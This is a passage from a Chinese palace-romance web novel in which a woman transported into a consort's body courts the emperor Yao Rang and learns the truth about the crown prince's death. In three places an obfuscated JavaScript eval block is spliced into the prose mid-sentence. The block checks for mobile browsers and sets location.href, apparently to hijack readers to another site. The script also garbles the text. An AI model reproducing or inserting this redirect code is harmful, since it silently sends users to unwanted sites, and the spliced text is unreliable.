一听到这个真相,祖母眼眶里的泪水便落了下来。她看着眼前的尧让,哽咽道:“五皇子?五皇子登上帝位了!所以,尧乙不会再回来了?” “是!太子尧乙已经被朕手刃了!”尧让攥紧拳头,一字一句道:“太子是朕杀的,其余的皇子也是朕杀的,那些阉人......除了逃走的那些,剩下的早就被朕一一诛杀了,一个活口也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“那你怎么入宫为妃了?祖母记得你喜欢的不是尧显吗?” “祖母,我可不喜欢那个渣男!您都不知道,那个渣男之前差点掐死我,鬼才喜欢他呢!”夏星辰说这话时一脸的鄙夷和嫌弃。 祖母笑了笑道:“那你喜欢阿让?” “是啊,我喜欢他!”这话几乎是没有片刻的犹豫。 听到这话的尧让清了清嗓子:“苏清夕,你别乱说话。” “我没乱说话,我这叫情不自禁!”夏星辰振振有词道:“再说了,我又不像你,穿起裤子就不认人,你是皇帝,我又不能骂你。” 她这番颇有埋怨的话,任谁都能听得出这话中的数落之意。 “苏清夕!” “在!” 看着二人你来我往的互动,但又碍于尧让是皇帝这个身份,在场的人忍不住发笑也只能偷偷笑。 “哈哈哈......你们两个可不就是欢喜冤家嘛。”祖母哈哈大笑:“还要用膳吗你们?” 夏星辰笑着点点头:“吃吃吃,我都饿了!” 用完晚膳后,闲来无事的夏星辰一路往苏风逸的房间跑去,开心地喊道:“哥哥,哥哥。” 原本还在谈话的尧让和苏风逸一听到她的声音,便当即停止了谈论,纷纷看向跑进来的她。 “小夕,怎么了?” “哥哥,方才我听到集市上有烟火表演,你与我一同去。”说着便自然地挽着苏风逸的一侧手臂。 苏风逸瞥了一眼坐在椅子上喝着茶的尧让,顿时心生一计:“可是,我要去陪祖母啊。” “啊!”夏星辰瞬间露出了失落的神情。 “让陛下与你一同去。”苏风逸说完便立刻溜之大吉,以最快的速度跑出了房间:“玩得尽兴啊。” 感受到视线的侵袭,尧让放下手中的茶杯,抬眼对上她的视线:“苏清夕,你别太得寸进尺了,朕不去。” 夏星辰走到他身边,轻轻摇了摇他的手臂,小声地恳求:“求你了陛下,你最好了!” 尧让站起身,将她的手轻拿开,语气甚是无奈:“走吧。” “小样儿,轻松拿捏。”夏星辰笑着嘟囔道。 27.鲜衣怒马少年郎 俩人走在热闹非凡的集市上,由于会有烟火表演,集市上挤满了人;更有甚者,已经早早占据了看烟火的绝佳位置。 “阿让,我也想要买这个。”夏星辰指着摊贩上各式各样的面具。 “你不准叫朕......”尧让还未说完话,她就已经在专心地挑起了面具,俨然是没认真听他讲话。 “好看吗?阿让!”突然,夏星辰戴着神鹿面具回过头。 “好......好看。” 对于‘阿让’这个小名,夏星辰叫得倒是顺口又自然,她自己没觉得有什么不妥,倒是把尧让叫得略微不自在。 “那你也戴一个。”下一刻,一张野狼的面具戴在了尧让的脸上,夏星辰满意地点点头:“非常适合你,强者!” “苏清夕,朕不喜欢这么丑的面具!”野狼面具下的尧让无奈开口道,明显能听得出他的确是很不喜欢。 “那......戴这个,这个也适合你。”说罢,夏星辰直接将一副狐狸面具戴在他的脸上。 尧让用极其幽怨的眼神看着她:“你的意思是说朕像狐狸?” 夏星辰点点头,没忍住笑出了声:“狐狸多符合你啊,蛊惑人心的狐狸精。” “快看快看,烟火表演开始了。”人群中有人指着绽放的烟火高声喊道。 下一刻,夜空中那道璀璨的烟火打断了二人的对话,二人的目光也不约而同被吸引了过去。 “快点快点!”夏星辰连忙拉起尧让的手往人海中挤去。可今夜看烟火表演的人实在是太多,无论怎么穿梭,也挤不进去视野最佳的观赏位置。 夏星辰本来身高就不是很出众,被淹没在人群中的她根本无法看得到前面的杂耍表演。她气鼓鼓地松开了尧让的手,一脸委屈地看着他,嘟囔道:“我什么也看不见!” 尧让脸上一副哭笑不得的神情,无奈开口:“你抬头便能看到烟火,无需挤到最前面。” “可是前面还有杂耍表演呢,再说了,这烟火我也才看到一星半点,连上半截都看不到。”她的语气里的埋怨更加深了几分。 “那你要如何?难不成朕把你丢到最前面去?” 夏星辰看着他一脸‘油盐不进’的模样,哀怨地骂道:“臭直男!”随即,她指了指人群前方将女子背在肩头的男子,眼睛一亮,笑道:“你同他那般做,将我背起来!我坐在你的肩头,这样既能看到烟火,也能看到最前面的表演。” 她说完便开心地蹦跶着,等着尧让蹲下身;可身前的人却一动不动,仍旧是没做出半点蹲下身的举动。 “阿让,你愣着做什么?”夏星辰忍不住戳了一下他的胳膊。 “所以,你的意思是......你要坐在朕的身上?”尧让冷笑道:“你胆子倒是越发的大了!” 他的话没让夏星辰觉得有何不妥,反倒是一脸的淡然:“我又不是没坐过你身上,那夜巫山云雨,你可不是这般冷漠的。” “苏清夕!你知不知羞?”尧让神色略显慌张道。 “哎呀,开玩笑的!”说着,她便晃着他的手臂撒娇道:“就这一次嘛,求求你了,阿让!” 终究是架不住她的软磨硬泡,尧让最后还是不情不愿地屈膝蹲下。见状,夏星辰立刻手脚麻利地爬上他的背,直至坐稳肩头,才兴奋地指着夜空:“阿让,你快看!烟火实在是太漂亮了,前面还有杂耍表演呢。” 正处于无比开心的夏星辰,俨然是没顾上因为自己兴奋拍掌而摇晃的身体。而尧让却生怕肩头那得意忘形之人掉下来,默默抬手稳住了她的腰,眼底的无奈也在此刻渐渐化作了藏不住的温柔。 杂耍人的最后一个喷火动作落下帷幕,人群中的喝彩声和掌声尚未散尽,夏星辰轻轻拍了拍尧让的肩膀,示意将自己放下来。 双脚刚沾地,她便尤为兴奋地笑道:“你方才看到了吗?他们好厉害啊!嘴里怎么能喷出那么大一团火焰呢?对吧?” 见她意犹未尽地回头看着戏台方向,尧让清了一下嗓子,缓缓开口道:“方才听人说,过会儿还会有一场特别的烟火。” “特别?怎么个特别?”听到这话,夏星辰即刻收回了目光,好奇的追问道。 她话音刚落,身旁一对并肩而立的男女便先一步接了话。男子柔声地对身边女子解释道:“今日可不仅仅是祈愿节,还是上巳节呢。自从圣上开恩,特赦有情之人在这两个时辰内,抛开世俗规矩,自在游玩,京都比以往热闹多了,听说等会儿的烟火,是老百姓们特意为圣上准备的谢礼。” “那可有你的出力?”女子笑意盎然地看着他。 “出了一点点钱财。”话一说完,男子便将女子拥入怀。 他们的对话让夏星辰猛地看向尧让。她忽然往前凑了半步,声音压得极低,却满是笑意:“陛下,原来你在老百姓心里,是如此得民心的皇帝呢。” 这突如其来、发自内心的赞扬,使尧让下意识清了清嗓子,没好意思作出什么反应。他微微地呼了口气,暗自庆幸方才戴上了面具,这才遮住了从脸上蔓延到耳根上的热意,也藏住了那份措手不及的慌乱。 “阿让,快看,烟火!”夏星辰突然指向夜空中再次绽放的烟火,笑着说道。 尧让抬起头,这一次的烟火与方才的那些烟火果然是与众不同的!此刻绽放的烟火形状是一名手持长枪的怒马鲜衣少年郎! “陛下万岁,万岁,万万岁!”城中百姓纷纷下跪,脸上洋溢着的是满满的敬佩。 戴着狐狸面具的人愣住了,他自己都快忘记了,自己也曾是个意气风发、征战沙场的少年郎!在他还愣在原地发着呆时,拥挤的百姓撞了他一下,脸上的面具掉了下来。 夜空中的烟火还在璀璨的绽放着,百姓们全都站起身雀跃着。夏星辰抬起头看着身侧愣神的尧让,心中不禁暗爽,尧让这个皇帝居然这么有本事,而那近乎完美的皮相只是他最不起眼的一个优势。 如此深得民心的皇帝,又怎么会是个暴君呢! “阿让!”夏星辰轻唤了他一声。 尧让微微低下头看着她,对上她那双饱含情意的双眼,顿时不知所措:“怎......怎么了?” 她没有回应他,而是将面具取下,一脸期待地闭上了眼睛。 “你闭上眼睛做什么?” 夏星辰颇为不悦地睁开眼,略显生气的说道:“尧让,你知不知道,女孩子闭上眼,就是要你亲她。” “苏清夕,你从哪学的这些歪理?” “这不是歪理。既然你不会这个,那我再教你一个!”说罢,夏星辰攥住他的衣袖,将他拉近至自己的身前。 “我喜欢你!” “这又是你向朕表露的忠心?” 夏星辰摇了摇头:“这是表白!虽然......你我现在这个状态是夫妻了,但该走的程序还是得走,必须严谨一点。” 尧让将她攥住自己衣裳的手拿开,随即俯身,凑到她耳边低声说道:“苏清夕,可朕不喜欢你。” “什么?”夏星辰一把推开他,突然想到了一件被自己忽略的事情,随即笑道:“好,你不喜欢我,可以啊!但是,你我是夫妻关系,这是板上钉钉的事,任凭你是插翅也难飞。” “这件事不用你提醒朕!” “不不不,你误会我的意思了。”说着,夏星辰露出了一抹诡谲的笑:“既然我们是夫妻,那平时的亲亲嘴啊,调调情啊,都很正常。” “你满脑子都在想些什么乱七八糟的?”尧让脸上的表情只剩下深深的无奈。 “没有乱七八糟啊,我只是觉得,我有这么帅气多金、才华横溢的老公,若是不多占些便宜,岂不是说明我有病?” 尧让突然后退了两步,点了点头:“朕突然觉得苏风逸说得甚是有道理,是该请个道士驱驱邪了!上次失败,应当是那道士道行不够深!” 话音刚落,他便转过身朝着将军府的方向走去。 “等等我啊!阿让!” “别这样叫朕!”大步快走的尧让不满地开了口。 “我就这样叫,阿让,阿让,你不爽你吃了我啊。”夏星辰一路小跑跟着他 就这样,夏星辰一直喋喋不休的,直到回到了将军府才罢休。 “陛下,你这是什么意思?”夏星辰看着尧让静静地坐在她房间里喝着茶,完全没有要离开的意思。 “朕能有什么意思,喝完这茶就准备歇息了。” 夏星辰简单的应了声嗯,然后便坐在他身边,等着他将茶喝完。眼看着他将杯子中的茶一饮而尽,她便站起身,往门口走去,做了一个请的手势。 “陛下,晚安!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668044|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可......尧让并没有往门口走去,而是不紧不慢地脱下外衣,坐在了床榻边。 见此情形,夏星辰连忙走到他身前,一脸疑惑地看着他,开口问道:“你干嘛?不是说喝完茶就歇息了吗?” “是啊,朕难道不是在准备歇息吗?”尧让回给了她一个看白痴的眼神。 夏星辰似乎这才反应了过来:“你等会儿,你的意思是......你要在这里歇息?” “不然呢?” “不行!”义正言辞地说完这两个字,她便直接动手拉扯着尧让,说什么都要将他带出去。 可她明显是高看自己的力气了。尧让只是轻轻一使劲,她整个人就摔进了他的怀里;而她自己越是挣扎,他就越是加大力道让她无法脱身,最终,她把自己的力气耗尽了,只能无奈地‘束手就擒’。 “不是,你到底要做什么啊?”怀里的人满是不解。 尧让嘴角上扬:“不是你说的吗?你我是夫妻关系,若是不多占些便宜,岂不是说明你有病?”说着说着,他便抬起手轻抚着她的脸颊,温声道:“巧了,朕也是这么想的,毕竟,朕也不吃亏!” 吗耶!这狗皇帝果然精明得很......夏星辰这才深刻意识到他到底有多狡猾,两个时辰前还在她面前装出一副什么也不懂的纯情男人,现在却露出‘狼子野心’的真面目。 呵!男人! 合着,小丑竟然是她夏星辰自己。她自以为自己这个现代人在尧让这个古代祖宗面前是个高级猎手,只要使些现代搭讪的手段,就能轻易挑逗他,却没想到,一个古代人使出这些手段比她这个现代人还趁手。 不是,网上也没说古代人这么精明啊,这会不会太超标了? 看着尧让一副胜券在握的模样,夏星辰实在是不甘心承认自己猎手沦为猎物的事实。似乎是想到了什么‘损招’,她一脸笑意地看着他,说道:“那我们就玩个刺激的!” “什么刺激的?” 话音刚落,她便微直起身子,猝不及防地在他的唇上落下了一个吻,这个吻颇有挑逗之意。但很快,她就为自己的这个‘玩火自焚’的行为付出了代价。 下一刻,尧让突然俯下身,将她彻底压在身下,凑到她耳边,温热的气息拂过耳畔,随即便传来冷淡的声音:“苏清夕,目的是不是达到了?” “嗯?什么目的?” “你跟朕玩这个,会显得你愚笨;你装不懂,更显愚笨。”说完,尧让便站起身。 夏星辰猛地坐起身,不解地问道:“你把话说清楚。” “王兄不是没做过这种事。这些年安插在朕身边的女子,各式各样,还真是煞费苦心呢。”尧让回过身看着她,严肃道:“你用在朕身上的这些招数,朕早就见识过了;与你现在不同的是,当时那个女子被朕砍下了头颅。” “所以你认为是我在有意而为之?”夏星辰没有像之前那般拼命的解释自己的清白,她知道自己是不可能完全得到尧让这个帝王的信任的,她一个现代人哪里懂什么权谋什么的,毕竟,自己就是一个普通人,家里没有皇位要继承,自然而然就不用去明争暗斗。 “难道不是吗?”尧让坐在椅子上,拿起茶壶往杯子中倒满了茶水,缓缓开口道:“你费尽心思地撩拨朕,是为了什么?为了那一直空着的后位?还是别的什么?总不能......真是为了爱吧?” 说着,他便笑出了声,笑声中夹杂着蔑视:“苏清夕,朕很早就懂,如何以最残忍的方式让一个人万劫不复。那便是俘获他的喜欢,以此名义掌控他,使他一步步沦为案板上的鱼,半分挣扎也无。” 夏星辰听着他的话,手臂上直接起了一层鸡皮疙瘩:“可我没有这样想过啊。” “你有没有这么想,朕不在乎。你只需要记住一件事,你同后宫里的嫔妃之所以能安稳地度日,是朕给了你们机会,你们于朕来说,本就是无关紧要之人。” 话音刚落,尧让将茶壶放下,杯中的茶水也早就溢出来了。他站起身,背对着夏星辰,冷声道:“收起你的故意撩拨,陪你演戏,朕也挺累的。” 随即,他便径直走出了房间,只留下呆坐在床榻上的夏星辰小声嘀咕:“可我那不是撩拨啊。电视剧果然是骗人的,什么女追男隔层纱,我看,隔的是整个银河吧!” 28.皇家过往的秘密 夏星辰对于自己的心意还是特别清楚的。一开始,她的确是为了能够活下去,才会想方设法留在尧让身边。 她不知道那些权谋什么的,毕竟,自己只是一个生活在和平国家的现代人,没经历过什么大风大浪,自然是不懂,也猜不透尧让的心思。 真正让她感兴趣的还是烟火表演上,老百姓赠予帝王的那场独属于‘鲜衣怒马少年郎’的烟火。 当今圣上分明是得民心的明君! “祖母。”夏星辰坐在祖母身边,语气带着不确定问道:“您认得我是谁吗?” “小夕,祖母是记事不清,但大多时候还是记得清事的。” 确定祖母现在没有精神错乱,夏星辰挽住她的手,笑了笑:“祖母,那您能不能告诉我,陛下和太子的事情?” 在祖母错愕的眼神中,夏星辰自然是知晓窥探皇家秘密,这可是死罪! 但架不住她想知道更多关于尧让的事情。人人都说他为人残暴,手刃太子,只为夺得帝位;可那日的恭迎宴上,面对太子曾经重用的宦官旧部,尧让的眼里不仅带有杀意,还夹杂了一闪而过的思念。 但那一丝思念,转瞬而逝,除了视线一直落在他身上的夏星辰捕捉到,旁人只关注到了他的无情和残暴...... 本来夏星辰还不是很确定自己的猜测,直到尧让装扮成太子尧乙出现在祖母面前,他压抑住爆发的怒火,分明就不是因为装扮太子的缘故,也并非祖母将他当作尧乙的原因,而是他的恨意本来就不存在…… 既然不存在,为何会有传言说过往太子尧乙一直欺负如今身为皇帝的五皇子呢?而这些过往,她是真的想知道。 “祖母,我只是想知道,当时那个鲜衣怒马的少年郎如今怎么变成了这般心思缜密、生怕踏错一步的人?难道仅仅是因为坐上了帝位,这是成为天子必须要付出的代价?” 祖母在看到夏星辰说完这话时满含真诚的双眼,以及感受到她话语中的担心之意,便抬起手轻抚着她的头发,轻声道:“看来,我们家小夕是真的心悦阿让啊!这一次,小夕的眼光不差!” “我起初的确只是为了活下去,才会千方百计讨他的欢心;可这段时间,我自己也不知道自己究竟是在什么时候喜欢上他的。”夏星辰说着越发的小声:“我这也是第一次这么喜欢一个人。” “或许是习惯了真心被辜负,才伪装成一个无情之人。”祖母轻叹了一声,随即便缓缓开口:“阿让和尧乙起初是手足之情甚好的皇家兄弟,一个是从小母亲就去世的太子,另外一个是不被母亲待见的五皇子,而他们,都成为了先皇后的孩子。后来不知道发生了何事,尧乙整日沉迷于花天酒地,重用一帮阉人,而阿让也是在那一日进入了将军府,拜你祖父为师,十来岁便上了战场。” “是不是因为太子对他生了疑心,所以才选择了这种自保的方式?” “我和你祖父当时也是与你现在的想法一样,一致认为阿让是为了自保;他当时入了将军府,而后又入了军营,虽然是身份尊贵的皇子,但却非常的勤勉刻苦,所吃的苦头可不比任何一个将士少。自然而然,终有所成的五皇子年纪轻轻便已是保家卫国的小战神了。” “然后呢?祖母。” “然后我和你祖父就问了他我们同样疑惑的问题,那时的阿让眼神无比坚定地告诉我们,他入军营学武,同谋士修习谋略,让自己变得如此强大的原因是为了拥护太子尧乙登帝!”话说到这,祖母湿润的眼眶还是落下了一滴泪,而后哽咽道:“说出这番话的阿让,当时才十九岁。” 听到这番话,夏星辰的脑海里立马就想象出了夺嫡之争的残忍。她以前在网上浏览过相关的视频,无一例外,大多数帝王怎么会容忍一个功高盖主的臣子在身边,更何况,这人还是自己的皇弟! “阿让回京的第一件事,欲要除掉李植德那帮宦官,可尧乙却屡次庇护,反倒将矛头对准了阿让!自此,便不断有流言传出,‘五皇子欲谋害太子’,流言愈演愈烈,更有甚者上奏让先帝下旨处死阿让,但在先皇后的力保下,先帝这才只将阿让囚禁于寝宫。” “后来呢?” 祖母摇了摇头:“后来的事情祖母就不知道了,你若想知道,有一个人知晓事情全貌,你可以去问他。” “谁啊?” “你兄长苏风逸。” 夏星辰倒是差点把苏风逸给忘记了,她之前没有猜错,苏风逸果然就是尧让身边的人。 “哥哥!”夏星辰跑到正在练武的苏风逸身后,刚唤他一声,却被他突然直指过来的剑吓得举起了双手:“是我呀,哥哥。” 苏风逸将剑收回,笑道:“有事情要同我说?” “是有点重要的事情。” 随后,俩人就坐在凉亭处,苏风逸拿起茶杯喝了一口茶:“说吧,要同哥哥说些什么?” 夏星辰自知尧让还在将军府,此事不能大声喧哗,便凑到苏风逸耳边,小声地说道:“我想知道陛下和太子的事情。” 听到这话,苏风逸顿时就被嘴里还未喝下的茶呛到,猛地咳嗽了好几下:“小夕,你知不知道,议论皇家秘密,这行径是死罪!” “我又不会大声喧哗。再说了,我去问祖母了,祖母对于后面发生的事情全然不知,想来也只有你知晓了。” 苏风逸放下手中的茶杯,刻意规避这敏感的话题:“这些事都是过去的事情,你不必深究;况且,你知晓了也没有意义,恐会因此惹恼了陛下。” “哥哥,我只是想了解陛下,并无任何不怀好意的目的。”夏星辰抬起双手,做了一个发誓的手势:“我发誓。” 她当然知道苏风逸不愿说出这些过往的原因,毕竟在他看来,她的行为无疑是在打探皇帝有无把柄。 终是犹豫许久,苏风逸将杯中的茶一饮而尽,娓娓道来:“其实,根本就不存在所谓的夺嫡之争。即便是有,也在陛下将李植德一众宦官尽数斩杀时就已结束;太子也根本就不是被陛下手刃的,而是......自戕的!” “你说什么?自戕?那为何陛下要对外说是自己手刃的太子?” “因为这就牵扯到皇家颜面了。”苏风逸顿了顿,继续说道:“太子本就是仁君,但却是个被操控的仁君,太子无论是在战略上,还是谋略上,都难堪大任。而李植德那帮阉人正是利用这一点,试图架空太子的势力,加上当时先帝的身体日渐羸弱,只要将太子送上帝位,掌控皇权的便是这帮阉人。” “那太子就会成为傀儡皇帝了?” 苏风逸点点头:“没错。” “那太子为何要自戕?”夏星辰认真地想了想,突然想到了什么,开口道:“哥哥你说的皇家颜面,不会是......太子当时有了心悦之人?” “你猜得没错,太子当时是有心悦之人。被阉人架空皇权是其中一个原因,真正的原因是太子心悦之人是被李植德刻意安插在身边的。她将太子身边的心腹一个个杀害了,目的就是为了完全掌控一个傀儡太子以及未来的帝王。” 夏星辰的身体止不住颤抖了一下,想起尧让对自己说的那些话,以及之前的种种试探和行为,一切便都解释得通了。 她苦笑道:“怪不得,怪不得无论我怎么示好,怎么拼命去证明自己的忠心,他依然无动于衷,依然对我无半分信任;也怪不得,他会对紫烟起杀心,原来这一切都是有迹可循的。我还以为是他无情无义,以为他就是一个疑心过重的帝王,却没想到......” “后来,太子认为一切皆因自己无能才会铸此大错,害死了待自己忠心之人;当他后悔时,却是已经来不及了,他早就被那女子下了慢性毒,她就是要以这种方式掌控他。” 说着,苏风逸又将茶杯倒满:“那一日,太子体内的毒发作,他倒在陛下的怀里,恳求陛下杀了他。可陛下怎会做得到?随后他自己拔出陛下曾在战场杀敌无数的长剑自戕了,那时他只恳求了陛下两件事......” “一件是替他杀了李植德那帮阉人,第二件便是当皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676759|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝,替他稳固江山。” “然后,他就自己默默地承受了手刃太子,杀害皇子的流言,成为了他人口中的暴君!”夏星辰接下这话,内心甚是酸楚无比。 “你们兄妹二人倒是对皇家之事如此好奇啊!”尧让靠在廊柱上,面无表情地盯着陷入沉思的二人。 二人同时转过头,在看到尧让后,纷纷站起身,像极了被抓包的小偷,恐慌至极。 “陛下,臣......臣只是......” “只是什么?”尧让朝着苏风逸走去,在他身前停下脚步,冷声道:“只是仗着你自己对朕还有用,仗着自己与朕的情谊,便拿着朕的过往随意议论?苏风逸,你自认为你很了解朕吗?还是说你很笃定,朕不会杀你?” 苏风逸低下头:“臣不敢!” “不敢?朕还真看不出你有半分的不敢?” 面对如此窒息的氛围,一旁的夏星辰看着尧让,低声开口:“陛下,是我逼着哥哥说的,与他无关。” 尧让侧过头,神情冷淡的看着她。夏星辰明显感觉到,他看向她的眼神里,带着浓烈的杀意。 “苏风逸只是一个局外人而已,苏清夕,你对朕的过往这般感兴趣,你还想知道些什么,朕来告诉你,岂不是更好?” “我......”夏星辰一时之间不知道该怎么接他的话。 尧让突然嘴角上扬:“哦,他肯定没有跟你说朕是怎么杀了那个太子心悦之人吧?”他一步步逼着夏星辰往后退,语气冷淡:“朕就是这样一步步走近她,将她的双眼给剜了,舌头给拔了,最后......一剑砍下了她的头颅。” 最后那句话落下的时候,他刻意加重了语气,将夏星辰逼到身体紧贴着廊柱,再无半分退路。 “如何?这故事你可感兴趣?”尧让俯下身看着她。 夏星辰通红眼眶里的泪水尽数落下,此时此刻,她说不清楚自己究竟是心疼这位承受一切的帝王,还是从内心深处惧怕他。 而在见到她满眼泪水的尧让,不知她是被吓到了还是其他什么原因,这哭得梨花带雨的人儿竟将他搞得不知所措。 “你这是害怕朕也用同样的手段对待你?怕了?” 在他的猜测下,眼前还在落泪的人猛地抱住了他。因为身高差距大,夏星辰整张脸都陷在了尧让的胸膛里,由于没人看到她如此窘迫的模样,她忽的大声哭了出来。 见状的苏风逸悄悄地转过身,紧接着便是以最快的速度跑开了。 “苏清夕,把你的手从朕身上拿开,朕的衣裳被你弄脏了。”说这话时,尧让脸上露出了嫌弃的表情。 可怀里的人依然不为所动...... 尧让再次冷漠开口:“你再不松开,朕就亲自动手了。” 经不住他的威胁,满脸泪水的夏星辰慢慢地松开了他;随即哭声戛然而止,红着眼眶看着他:“你一定要这么凶吗?” “收起你的眼泪,朕不吃你这一套!” “那你吃哪一套,我什么风格都可以驾驭。” 尧让饶有兴趣地哦了一声,开口道:“苏清夕,你说你心悦朕,对吧?” 夏星辰乖乖地点头。 “既然如此。”尧让指着不远处的池塘,浅笑道:“你跳下去,像你当初为了王兄的玩笑话而跳入池中那般,证明给朕看,如何?” “可......可是我不会凫水,而且我小时候溺水过,后来就一次也没下过水。”夏星辰实话实说,这并不是原主苏清夕的过往,而是属于夏星辰真实的过往。 这么多年,她一直都是典型的‘海水恐惧者’。 “哦?为了王兄你没有一点犹豫,怎么到了朕这里,就编造出你怕水?苏清夕,你以为朕不知晓你通水性吗?” 夏星辰简直是无语极了,她要怎么跟他解释自己根本就不是苏清夕,而她本人的的确确不会游泳。她也不知道为什么自己穿到苏清夕身上,苏清夕原本擅长的技能,她夏星辰是一点都不会...... 29.强者的身边应是强者 看着夏星辰犹豫半天,这使得尧让逐渐没了耐心,语气不耐烦道:“朕没心思看你在这里故作姿态。还有,苏清夕,这是朕原谅你最后一次,知道朕太多事只会将你自己送上断头台。” 话音刚落,尧让便转过身欲离去。 “你等等!”夏星辰抓住他的袖子,像是下定了某种决心一般:“尧让,我其实不是很提倡这种证明自己的法子,因为这完全就是一种不尊重生命的做法。” “你在跟朕扯什么废话?松开!” 夏星辰看了一眼不远处的池塘,说道:“如果你一定要让我选择这种方式证明给你看,那你就看好了,这种事我就只做一次。” 说罢,她便收回手,缓慢地朝着池塘边走去。立足于池塘边,她低下头望着绿汪汪的水,那种内心里的恐惧再次涌上心头,令她不自觉地退后了一步。 尧让看着她这般行径,嘲讽道:“再往后多退几步,就到你闺房了。” 她长长地呼吸了一口,随即闭上了眼睛,接着便助跑两步。下一刻,整个人就跳入了池中...... 在水中的夏星辰由于对水有很深的恐惧症,双脚瞬间就抽筋了;因为强烈的求生意识,她不断地用双手扑腾着,可每喊一声救命,水就灌进她喉咙一次。 双脚愈发抽筋得厉害,她渐渐感觉到自己的身体在缓缓下沉,意识也愈发地薄弱。 目睹这一切的尧让似乎也看出了水中之人不是在假装溺水,而是真的不通水性。便没有作任何犹豫地跳入了水中,一点点游到夏星辰的身边,一手搂住她的腰,将她往自己身边拉去。 “苏清夕,苏清夕。”尧让抱着她一点点往池塘边上靠。 “有人落水了。”下人刚巧看到这一幕,连忙大声地喊道,这一喊,整个将军府的人都跑了过来。 苏风逸看到池中的尧让和失去意识昏过去的夏星辰,刚朝着尧让伸出手,却听到水中的尧让抬高声音喊道:“都给朕闭上眼睛,转过身去。” “是!”苏风逸一行人等全部转过了身。 尧让抱着夏星辰跃上了池塘边,便将她平卧在地上,双手交叠按在她胸前正中间,指尖沉稳发力,一遍遍按压,欲将腹中积水逼出;见她仍无吐水反应,他指尖轻捏她鼻翼,随即俯身,两唇相贴缓缓渡气。 一番连贯动作下来,夏星辰喉间忽然一动,腹中的积水便随着一阵阵咳嗽中吐了出来,意识也慢慢恢复。她微微睁开眼,勉强掀起一丝缝隙,模糊视线里尚未看清眼前人的面容,便又沉沉地晕了过去。 见状,尧让心头一紧,再次将她抱起,脚步匆匆直奔她闺房而去,不忘回头吩咐身后的苏风逸:“宣府医。” “是!”苏风逸应声后便连忙朝着下人们喊道:“把府医叫到明妃娘娘闺房中。” 府医提着药箱跌跌撞撞地走进房内,动作轻缓把着脉。片刻后,便低下头恭敬地朝着坐在椅子上的尧让禀明:“启禀陛下,娘娘眼下已无碍;小人开一些祛寒的药,连续服用两三日便不会留下病根。” “那她何时醒过来?” “娘娘身体无大碍,应......应当很快便醒来。”府医依旧没敢抬起头回话。 尧让站起身,看了一眼苏风逸,声音听不出任何情绪:“朕先行回宫处理些朝政,待她醒来,便先留在将军府养些时日,待到痊愈了再回宫。” 苏风逸和苏承身为臣子,即便是心里再有不满,也不敢对着皇帝发作,只能强压下内心的愤懑,毕恭毕敬的回应了一句:“是,陛下!” 可身经百战的祖母并没有因为尧让是皇帝而硬吞下这委屈,她伸出手拦住了欲要离开的尧让。 “阿让......祖母应当称你为陛下了。”祖母在贴身侍女的搀扶下站起身,神情严肃地看着他,开口道:“陛下,您可知现下是何季节?小夕如此瘦弱,您让她在秋季跳入池中,若出现个意外,该如何是好?” “朕......” 在尧让还未作出解释时,祖母继续说道:“将军府忠君爱国,老身的夫君如此,儿子如此,甚至孙儿亦如此,然,将军府无愧陛下。老身知晓如今朝野内忧外患,陛下要处理之事甚是繁杂,但陛下不应该如此对待一个真心心悦您之人。” “祖母,您的意思是......要朕拿朕的江山去赌苏清夕的所谓真心?您就不怕朕落得与太子一般的下场?”话落,尧让看向她的眼神极其的冷淡。 此话一出,祖母忽的愣住了,顿时不知该怎么反驳他的这番话。 “朕可以看在将军府的面子上,原谅她的口无遮拦,也原谅她的一再挑衅;朕也同她讲过,只要她不干涉朝政,不再助王兄篡夺朕的皇权,朕会留她一命。” 说罢,他回过头看了一眼还在昏睡的夏星辰,冷声道:“除此之外,朕给不了她更多了。” “陛下,这世间的所有人不全是暗藏心机之人,而您,也不该推开真心待您之人啊;没有人能带着仇恨孤独一生的。” 尧让冷笑出声:“可是朕赌不起!朕不愿拿自己的一切为代价去赌这世间情爱,再说了,无论是情爱还是别的什么,朕......实在是经不住得到又失去。” “阿让......”祖母往前走了一步,却被尧让那冷淡的眼神逼得只好停下脚步。 “祖母,朕念及恩情,唤您一声祖母;可朕是皇帝,将军府为臣子,朕好话说尽,便莫要再纠缠,令朕不悦。君臣有别,不需要朕解释吧?” 祖母点了点头,叹了口气道:“老身逾炬了!” 如此,尧让没有再说出口一个字,便径直地走出了房间,一次也没回头。 “恭送陛下!”苏风逸和苏承恭敬说道。 而夏星辰醒来的时候便也听闻尧让先行回宫了,她像个泄了气的皮球坐在床榻上,脸上的神情越发的委屈。 “陛下居然不等着我醒来?自己先回宫了?” 婢女点点头:“是的,娘娘。” “我哥哥他们呢?” “将军他们都在大堂。” 只不过区区溺水而已,夏星辰自醒来之后,便觉得神清气爽,除了因受寒而引起的小咳嗽,她并没有觉得有什么不适。 当她走到大堂外,刚要开心蹦跶进去,却因为苏风逸突然说出口的话停下了脚步。 